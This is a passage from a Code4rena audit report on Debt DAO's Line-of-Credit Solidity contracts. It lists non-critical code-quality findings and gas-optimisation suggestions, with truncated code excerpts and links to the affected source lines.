https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/LineLib.sol#L32-L40

```
File: contracts/utils/SpigotedLineLib.sol
/// @audit Missing: '@param spigot'
/// @audit Missing: '@param status'
/// @audit Missing: '@param defaultSplit'
         /**
163
164
           * @notice Changes the revenue split between a Borrowe
           * @dev - callable `arbiter` + `borrower`
165
          * @param revenueContract - spigot to update
166
167
          * @return whether or not split was updated
168
          * /
169:
          function updateSplit(address spigot, address revenueCo
/// @audit Missing: '@param spigot'
/// @audit Missing: '@param status'
/// @audit Missing: '@param borrower'
/// @audit Missing: '@param arbiter'
/// @audit Missing: '@param to'
186
         /**
187
188
       * @notice - Transfers ownership of the entire Spigot &
```

```
189
                      the Borrower (if a Line of Credit has beer
190
                      to the Arbiter (if the Line of Credit is ]
191
                   - callable by anyone
         * @return - whether or not Spigot was released
192
193
          function releaseSpigot(address spigot, LineLib.STATUS
194:
/// @audit Missing: '@param to'
/// @audit Missing: '@param token'
/// @audit Missing: '@param amount'
/// @audit Missing: '@param status'
/// @audit Missing: '@param borrower'
/// @audit Missing: '@param arbiter'
        /**
211
212
         * @notice - Sends any remaining tokens (revenue or cre
213
                      In case of a Borrower default (loan status
214
                      Does not transfer anything if line is heal
215
         * @return - whether or not spigot was released
216
217:
          function sweep (address to, address token, uint256 amou
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/SpigotedLineLib.sol#L163-L169</u>

ഗ

[N-16] Event is missing indexed fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

There are 4 instances of this issue:

23:);

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/MutualConsent.sol#L21-L23</u>

```
File: contracts/utils/SpigotLib.sol
241
          event AddSpigot(
2.42
              address indexed revenueContract,
              uint256 ownerSplit
243
2.44:
          ) ;
255
          event ClaimRevenue(
256
              address indexed token,
              uint256 indexed amount,
257
              uint256 escrowed,
258
              address revenueContract
259
260:
          );
262
          event ClaimEscrow(
              address indexed token,
263
              uint256 indexed amount,
2.64
265
              address owner
266:
          );
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Spig</u> otLib.sol#L241-L244

ശ

[N-17] Not using the named return variables anywhere in the function is confusing

Consider changing the variable to be an unnamed one.

There are 2 instances of this issue:

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/spigot/Spigot.sol#L70-L72</u>

ശ

[N-18] Duplicated require() / revert() checks should be refactored to a modifier or function

The compiler will inline the function, which will avoid JUMP instructions usually associated with functions.

There are 2 instances of this issue:

```
File: contracts/modules/credit/LineOfCredit.sol

259: require(interestRate.setRate(id, drate, frate));
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L259</u>

```
File: contracts/utils/EscrowLib.sol

161: require(amount > 0);
```

https://github.com/debtdao/Line-of-

Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Escr

ശ

Excluded Non-Critical Issues Findings

These findings are excluded from awards calculations because there are publicly-available automated tools that find them. The valid ones appear here for completeness

	Issue	Instances
[N-19]	Return values of approve() not checked	1

Total: 1 instances over 1 issues

ഗ

[N-19] Return values of approve() not checked

Not all IERC20 implementations revert() when there's a failure in approve(). The function signature has a boolean return value and they indicate errors that way instead. By not checking the return value, operations that should have marked as failed, may potentially go through without actually approving anything

There is 1 instance of this issue:

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Spig</u>otedLineLib.sol#L134

6

Gas Optimizations

For this contest, 42 reports were submitted by wardens detailing gas optimizations. The <u>report highlighted below</u> by **IIIIIII** received the top score from the judge.

The following wardens also submitted reports: me_naOmi, JC, brgltd, c3phas, Awesome, ajtra, Deivitto, rotcivegaf, lukrisO2, AymenO9O9, B2, cryptonue, RedOneN, Diana, __141345__, erictee, karanctf, peanuts, TomJ, zaskoh, seyni, ReyAdmirado, Ox1f8b, saneryee, Metatron, tnevler, Rahoz, gogo, exolorkistis, durianSausage, OxRajkumar, aphak5O1O, oyc_1O9, chObu, martin, Saintcode_, Rolezn, emrekocak, chrisdior4, BnkeOxO, and RaymondFam.

ഗ

Gas Optimizations Summary

	Issue	Insta nces	Total Gas Saved
[G- 01]	State variables only set in the constructor should be declared immutable	2	4194
[G- 02]	Using calldata instead of memory for read-only arguments in external functions saves gas	5	600
[G- 03]	Using storage instead of memory for structs/arrays saves gas	3	12600
[G- 04]	Avoid contract existence checks by using low level calls	27	2700
[G- 05]	State variables should be cached in stack variables rather than re- reading them from storage	5	485
[G- 06]	internal functions only called once can be inlined to save gas	4	80
[G- 07]	Add unchecked {} for subtractions where the operands cannot underflow because of a previous require() or if -statement	3	255
[G- 08]	++i/i++ should be unchecked{++i} / unchecked{i++} when it is not possible for them to overflow, as is the case when used in for - and while -loops	6	360
[G- 09]	require() / revert() strings longer than 32 bytes cost extra gas	1	-
[G-1 0]	Optimize names to save gas	15	330
[G-1 1]	Usage of uints / ints smaller than 32 bytes (256 bits) incurs overhead	2	-
[G-1 2]	Using private rather than public for constants, saves gas	3	-

	Issue	Insta nces	Total Gas Saved
[G-1 3]	Inverting the condition of an if - else -statement wastes gas	2	-
[G-1 4]	require() or revert() statements that check input arguments should be at the top of the function	1	-
[G-1 5]	Use custom errors rather than revert() / require() strings to save gas	1	-
[G-1 6]	Functions guaranteed to revert when called by normal users can be marked payable	4	84

Total: 84 instances over 16 issues with 21688 gas saved

Gas totals use lower bounds of ranges and count two iterations of each <code>for</code>-loop. All values above are runtime, not deployment, values; deployment values are listed in the individual issue descriptions. The table above as well as its gas numbers do not include any of the excluded findings.

© [G-O1] State variables only set in the constructor should be declared immutable

Avoids a Gsset (20000 gas) in the constructor, and replaces the first access in each transaction (Gcoldsload - 2100 gas) and each access thereafter (Gwarmacces - 100 gas) with a PUSH32 (3 gas).

While string s are not value types, and therefore cannot be immutable / constant if not hard-coded outside of the constructor, the same behavior can be achieved by making the current contract abstract with virtual functions for the string accessors, and having a child contract override the functions with the hard-coded implementation-specific values.

There are 2 instances of this issue:

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/ oracle/Oracle.sol#L16

ര

[G-O2] Using calldata instead of memory for read-only arguments in external functions saves gas

When a function with a memory array is called externally, the abi.decode() step has to use a for-loop to copy each index of the calldata to the memory index.

Each iteration of this for-loop costs at least 60 gas (i.e. 60 *

<mem_array>.length). Using calldata directly, obliviates the need for such a loop
in the contract code and runtime execution. Note that even if an interface defines a
function as having memory arguments, it's still valid for implementation contracs to
use calldata arguments instead.

If the array is passed to an internal function which passes the array to another internal function where the array is modified and therefore memory is used in the external call, it's still more gass-efficient to use calldata when the external function uses modifiers, since the modifiers may prevent the internal functions from being called. Structs have the same overhead as an array of length one

Note that I've also flagged instances where the function is <code>public</code> but can be marked as <code>external</code> since it's not called by the contract, and cases where a constructor is involved

There are 5 instances of this issue:

```
File: contracts/modules/spigot/Spigot.sol

/// @audit setting

125: function addSpigot(address revenueContract, Setting me
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/spigot/Spigot.sol#L125</u>

```
File: contracts/utils/CreditLib.sol
/// @audit credit
7.3
        function getOutstandingDebt(
         ILineOfCredit.Credit memory credit,
74
75
         bytes32 id,
         address oracle,
76
         address interestRate
77
78
79
         external
         returns (ILineOfCredit.Credit memory c, uint256 princi
80:
/// @audit credit
168 function repay(
         ILineOfCredit.Credit memory credit,
169
         bytes32 id,
170
171
         uint256 amount
172
       )
173
        external
174:
         returns (ILineOfCredit.Credit memory)
/// @audit credit
2.02
      function withdraw(
         ILineOfCredit.Credit memory credit,
203
204
         bytes32 id,
         uint256 amount
205
206
       )
207
         external
         returns (ILineOfCredit.Credit memory)
208:
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L73-L80</u>

```
File: contracts/utils/SpigotLib.sol
/// @audit setting
```

125: function addSpigot(SpigotState storage self, address r

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Spig</u> otLib.sol#L125

ക

[G-O3] Using storage instead of memory for structs/arrays saves gas

When fetching data from a storage location, assigning the data to a <code>memory</code> variable causes all fields of the struct/array to be read from storage, which incurs a Gcoldsload (2100 gas) for <code>each</code> field of the struct/array. If the fields are read from the new memory variable, they incur an additional <code>MLOAD</code> rather than a cheap stack read. Instead of declearing the variable with the <code>memory</code> keyword, declaring the variable with the <code>storage</code> keyword and caching any fields that need to be re-read in stack variables, will be much cheaper, only incuring the Gcoldsload for the fields actually read. The only time it makes sense to read the whole struct/array into a <code>memory</code> variable, is if the full struct/array is being returned by the function, is being passed to a function that requires <code>memory</code>, or if the array/struct is being read from another <code>memory</code> array/struct

There are 3 instances of this issue:

```
File: contracts/modules/credit/LineOfCredit.sol

205: Credit memory credit = credits[id];

323: Credit memory credit = credits[id];
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L205</u>

```
File: contracts/modules/credit/SpigotedLine.sol

139: Credit memory credit = credits[id];
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L139</u>

ര

[G-04] Avoid contract existence checks by using low level calls

Prior to 0.8.10 the compiler inserted extra code, including EXTCODESIZE (100 gas), to check for contract existence for external function calls. In more recent solidity versions, the compiler will not insert these checks if the external call has a return value. Similar behavior can be achieved in earlier versions by using low-level calls, since low level calls never check for contract existence

There are 27 instances of this issue:

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/SecuredLine.sol#L57

```
File: contracts/utils/CreditLib.sol

/// @audit getLatestAnswer()

84:         int256 price = IOracle(oracle).getLatestAnswer(c.toker

/// @audit getLatestAnswer()

135:         int price = IOracle(oracle).getLatestAnswer(token);

/// @audit accrueInterest()

251:         uint256 accruedToken = IInterestRateCredit(interest)
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L84</u>

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L35</u>

```
File: contracts/utils/LineFactoryLib.sol
/// @audit spigot()
48:
              address s = address(SecuredLine(oldLine).spigot())
/// @audit escrow()
49:
              address e = address(SecuredLine(oldLine).escrow())
/// @audit swapTarget()
50:
              address payable st = SecuredLine(oldLine).swapTarc
/// @audit defaultRevenueSplit()
51:
              uint8 split = SecuredLine(oldLine).defaultRevenueS
/// @audit init()
72:
              if (SecuredLine (payable (line)).init() != LineLib.S1
```

https://github.com/debtdao/Line-of-

Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Line

FactoryLib.sol#L48

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/LineLib.sol#L46</u>

```
File: contracts/utils/SpigotedLineLib.sol
/// @audit claimEscrow()
73:
              uint256 claimed = ISpigot(spigot).claimEscrow(clai
/// @audit approve()
134:
                  IERC20 (sellToken) .approve (swapTarget, amount);
/// @audit updateOwner()
147:
            require(ISpigot(spigot).updateOwner(newLine));
/// @audit owner()
            address owner = ISpigot(spigot).owner();
153:
/// @audit getSetting()
170:
              (uint8 split,, bytes4 transferFunc) = ISpigot(spic
/// @audit updateOwnerSplit()
176:
                  return ISpigot(spigot).updateOwnerSplit(revenu
/// @audit updateOwnerSplit()
179:
                  return ISpigot(spigot).updateOwnerSplit(revenu
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Spig</u>otedLineLib.sol#L73

ക

[G-05] State variables should be cached in stack variables rather than re-reading them from storage

The instances below point to the second+ access of a state variable within a function. Caching of a state variable replaces each Gwarmaccess (100 gas) with a much cheaper stack read. Other less obvious fixes/optimizations include having local memory caches of state variable structs, or having local caches of state variable contracts/addresses.

There are 5 instances of this issue:

```
File: contracts/modules/credit/LineOfCredit.sol
/// @audit count on line 499
502:
             if (count == 0) { updateStatus(LineLib.STATUS.REF
/// @audit ids on line 172
180:
                  id = ids[i];
/// @audit ids on line 201
204:
               id = ids[i];
/// @audit ids on line 517
521:
                  id = ids[i];
/// @audit ids on line 532
532:
                     ids[i] = ids[nextQSpot];  // id put into
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L502

[G-06] internal functions only called once can be inlined to save gas

Not inlining costs **20 to 40 gas** because of two extra JUMP instructions and additional stack operations needed for function calls.

There are 4 instances of this issue:

```
File: contracts/modules/credit/LineOfCredit.sol
167
          function updateOutstandingDebt()
168
              internal
              returns (uint256 principal, uint256 interest)
169:
          function createCredit(
435
              address lender,
436
              address token,
437
              uint256 amount
438
439
440
              internal
441:
              returns (bytes32 id)
          function sortIntoQ(bytes32 p) internal returns (bool)
516:
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L167-L169

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/interest-rate/InterestRateCredit.sol#L42-L46</u>

```
[G-07] Add unchecked {} for subtractions where the operands cannot underflow because of a previous require() or if -statement require(a <= b); x = b - a => require(a <= b); unchecked { x = b - a }
```

There are 3 instances of this issue:

```
File: contracts/modules/credit/SpigotedLine.sol

/// @audit if-condition on line 120

122: unusedTokens[credit.token] -= repaid - newToke
```

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/ credit/SpigotedLine.sol#L122

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Spig</u>otedLineLib.sol#L101

```
File: contracts/utils/SpigotLib.sol

/// @audit if-condition on line 95

96: require(LineLib.sendOutTokenOrETH(token, self.
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Spig</u> otLib.sol#L96

```
©
[G-08] ++i/i++ should be
```

unchecked{++i} / unchecked{i++} when it is not possible for them to overflow, as is the case when used in for - and while -loops

The unchecked keyword is new in solidity version 0.8.0, so this only applies to that version or higher, which these instances are. This saves 30-40 gas per loop.

There are 6 instances of this issue:

```
File: contracts/modules/credit/LineOfCredit.sol

179: for (uint256 i; i < len; ++i) {

203: for (uint256 i; i < len; ++i) {

520: for (uint256 i; i <= lastSpot; ++i) {
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L179

```
File: contracts/utils/CreditListLib.sol

23: for(uint256 i; i < len; ++i) {

51: for(uint i = 1; i < len; ++i) {
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditListLib.sol#L23</u>

```
File: contracts/utils/EscrowLib.sol

57: for (uint256 i; i < length; ++i) {
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Escr</u>owLib.sol#L57

ക

[G-09] require() / revert() strings longer than 32 bytes cost extra gas

Each extra memory word of bytes past the original 32 <u>incurs an MSTORE</u> which costs **3 gas**.

There is 1 instance of this issue:

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/interest-rate/InterestRateCredit.sol#L26-L29</u>

 \mathcal{O}

[G-10] Optimize names to save gas

public / external function names and public member variable names can be optimized to save gas. See this link for an example of how it works. Below are the interfaces/abstract contracts that can be optimized so that the most frequently-called functions use the least amount of gas possible during method lookup. Method IDs that have two leading zero bytes can save 128 gas each during deployment, and renaming functions to have lower method IDs will save 22 gas per call, per sorted position shifted.

There are 15 instances of this issue:

```
File: contracts/modules/credit/LineOfCredit.sol

/// @audit init(), healthcheck(), counts(), declareInsolvent()
16: contract LineOfCredit is ILineOfCredit, MutualConsent {
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L16

```
File: contracts/modules/credit/SecuredLine.sol

/// @audit liquidate()

11: contract SecuredLine is SpigotedLine, EscrowedLine, ISecur
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/SecuredLine.sol#L11

```
File: contracts/modules/credit/SpigotedLine.sol

/// @audit unused(), claimAndRepay(), useAndRepay(), claimAndTra
22: contract SpigotedLine is ISpigotedLine, LineOfCredit, Reer
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L22</u>

```
File: contracts/modules/escrow/Escrow.sol

/// @audit isLiquidatable(), updateLine(), addCollateral(), enak
19: contract Escrow is IEscrow {
```

https://github.com/debtdao/Line-of-

Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/

```
File: contracts/modules/factories/LineFactory.sol
/// @audit deployEscrow(), deploySpigot(), deploySecuredLine(),
9: contract LineFactory is ILineFactory {
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/factories/LineFactory.sol#L9</u>

```
File: contracts/modules/interest-rate/InterestRateCredit.sol
/// @audit setRate()
5: contract InterestRateCredit is IInterestRateCredit {
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/interest-rate/InterestRateCredit.sol#L5</u>

```
File: contracts/modules/oracle/Oracle.sol
/// @audit getLatestAnswer()
13: contract Oracle is IOracle {
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>oracle/Oracle.sol#L13

```
File: contracts/modules/spigot/Spigot.sol

/// @audit operator(), claimRevenue(), claimEscrow(), operate(),
16: contract Spigot is ISpigot, ReentrancyGuard {
```

https://github.com/debtdao/Line-of-

Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/s

```
File: contracts/utils/CreditLib.sol

/// @audit computeId(), getOutstandingDebt(), calculateValue(),
14: library CreditLib {
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L14</u>

```
File: contracts/utils/CreditListLib.sol
/// @audit removePosition(), stepQ()
10: library CreditListLib {
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditListLib.sol#L10</u>

```
File: contracts/utils/EscrowLib.sol

/// @audit _getLatestCollateralRatio(), _getCollateralValue(), &
21: library EscrowLib {
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L21</u>

```
File: contracts/utils/LineFactoryLib.sol

/// @audit rolloverSecuredLine(), transferModulesToLine(), deplo
7: library LineFactoryLib {
```

https://github.com/debtdao/Line-of-

Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Line

FactoryLib.sol#L7

```
File: contracts/utils/LineLib.sol

/// @audit sendOutTokenOrETH(), receiveTokenOrETH(), getBalance
14: library LineLib {
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/LineLib.sol#L14</u>

```
File: contracts/utils/SpigotedLineLib.sol

/// @audit claimAndTrade(), trade(), rollover(), canDeclareInsol
10: library SpigotedLineLib {
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Spig</u>otedLineLib.sol#L10

```
File: contracts/utils/SpigotLib.sol

/// @audit _claimRevenue(), operate(), claimRevenue(), claimEscr
23: library SpigotLib {
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Spig</u>otLib.sol#L23

 Θ

[G-11] Usage of uints / ints smaller than 32 bytes (256 bits) incurs overhead

When using elements that are smaller than 32 bytes, your contract's gas usage may be higher. This is because the EVM operates on 32 bytes at a time. Therefore, if the element is smaller than that, the EVM must use more operations in order to reduce the size of the element from 32 bytes to the desired size.

https://docs.soliditylang.org/en/v0.8.11/internals/layout_in_storage.html Each operation involving a uint8 costs an extra 22-28 gas (depending on whether the other operand is also a variable of type uint8) as compared to ones involving uint256, due to the compiler having to clear the higher bits of the memory word before operating on the uint8, as well as the associated stack operations of doing so. Use a larger size then downcast where needed.

There are 2 instances of this issue:

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L140</u>

ക

[G-12] Using private rather than public for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that <u>returns a tuple</u> of the values of all currently-public constants. Saves **3406-3606** gas in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table.

There are 3 instances of this issue:

```
File: contracts/modules/credit/LineOfCredit.sol
21: uint256 public immutable deadline;
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L21

```
File: contracts/modules/credit/SpigotedLine.sol

32: uint8 public immutable defaultRevenueSplit;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L32</u>

```
File: contracts/modules/escrow/Escrow.sol

24: uint32 public immutable minimumCollateralRatio;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/escrow/Escrow.sol#L24</u>

ക

[G-13] Inverting the condition of an if - else -statement wastes gas

Flipping the true and false blocks instead saves 3 gas.

There are 2 instances of this issue:

```
File: contracts/utils/CreditLib.sol

145: decimals = !passed ? 18 : abi.decode(result, (ui
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L145</u>

```
deposit.asset = !is4626

token

abi.decode(tokenAddrBytes, (address))
```

File: contracts/utils/EscrowLib.sol

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L122-L124</u>

ഗ

[G-14] require() or revert() statements that check input arguments should be at the top of the function

Checks that involve constants should come before checks that involve state variables, function calls, and calculations. By doing these checks first, the function is able to revert before wasting a Gooldsload (2100 gas*) in a function that may ultimately revert in the unhappy case.

There is 1 instance of this issue:

```
File: contracts/modules/credit/LineOfCredit.sol

/// @audit expensive op on line 324

326: require(amount <= credit.principal + credit.intere
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L326

ഗ

[G-15] Use custom errors rather than revert() / require() strings to save gas

Custom errors are available from solidity version 0.8.4. Custom errors save <u>~50 gas</u> each time they're hit by <u>avoiding having to allocate and store the revert string</u>. Not defining the strings also save deployment gas.

There is 1 instance of this issue:

```
require(
msg.sender == lineContract,

"InterestRateCred: only line contract."
);
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/interest-rate/InterestRateCredit.sol#L26-L29</u>

G)

[G-16] Functions guaranteed to revert when called by normal users can be marked payable

If a function modifier such as <code>onlyOwner</code> is used, the function will revert if a normal user tries to pay the function. Marking the function as <code>payable</code> will lower the gas cost for legitimate callers because the compiler will not include checks for whether a payment was provided. The extra opcodes avoided are

CALLVALUE (2), DUP1 (3), ISZERO (3), PUSH2 (3), JUMPI (10), PUSH1 (3), DUP1 (3), REVER T (0), JUMPDEST (1), POP (2), which costs an average of about 21 gas per call to the function, in addition to the extra deployment cost.

There are 4 instances of this issue:

```
File: contracts/modules/credit/LineOfCredit.sol

340 function borrow(bytes32 id, uint256 amount)

341 external

342 override

343 whileActive

344 onlyBorrower

345: returns (bool)
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L340-L345</u>

```
function rollover(address newLine)
external
onlyBorrower
override
returns(bool)
```

File: contracts/modules/credit/SecuredLine.sol

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/SecuredLine.sol#L48-L52

```
File: contracts/modules/interest-rate/InterestRateCredit.sol
34
          function accrueInterest(
35
              bytes32 id,
              uint256 drawnBalance,
36
              uint256 facilityBalance
37
          ) external override onlyLineContract returns (uint256)
38:
74
          function setRate(
75
              bytes32 id,
76
              uint128 dRate,
              uint128 fRate
77
          ) external onlyLineContract returns (bool) {
78:
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/interest-rate/InterestRateCredit.sol#L34-L38</u>



Excluded findings

These findings are excluded from awards calculations because there are publicly-available automated tools that find them. The valid ones appear here for completeness

രാ

	Issue	Instan ces	Total Gas Saved
[G-1 7]	Using bool s for storage incurs overhead	1	17100
[G-1 8]	Using > 0 costs more gas than != 0 when used on a uint in a require() statement	3	18

Total: 4 instances over 2 issues with 17118 gas saved

Gas totals use lower bounds of ranges and count two iterations of each <code>for</code>-loop. All values above are runtime, not deployment, values; deployment values are listed in the individual issue descriptions. The table above as well as its gas numbers do not include any of the excluded findings.

ഹ

[G-17] Using bool s for storage incurs overhead

```
// Booleans are more expensive than uint256 or any type that // word because each write operation emits an extra SLOAD to // slot's contents, replace the bits taken up by the boolear // back. This is the compiler's defense against contract upo // pointer aliasing, and it cannot be disabled.
```

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/58f635312aa21f947cae5f8578638a85aa2519f5/contracts/security/ReentrancyGuard.sol#L23-L27 Use uint256(1) and uint256(2) for true/false to avoid a Gwarmaccess (100 gas) for the extra SLOAD, and to avoid Gsset (20000 gas) when changing from false to true, after having been true in the past

There is 1 instance of this issue:

```
File: contracts/utils/MutualConsent.sol

/// @audit (valid but excluded finding)

15: mapping(bytes32 => bool) public mutualConsents;
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/MutualConsent.sol#L15</u>

രാ

```
[G-18] Using > 0 costs more gas than != 0 when used on a uint in a require() statement
```

This change saves <u>6 gas</u> per instance. The optimization works until solidity version <u>0.8.13</u> where there is a regression in gas costs.

There are 3 instances of this issue:

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L91</u>

ര

Disclosures

C4 is an open organization governed by participants in the community.

C4 Contests incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Contest submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Тор

An open organization | Twitter | Discord | GitHub | Medium | Newsletter | Media kit | Careers | code4rena.eth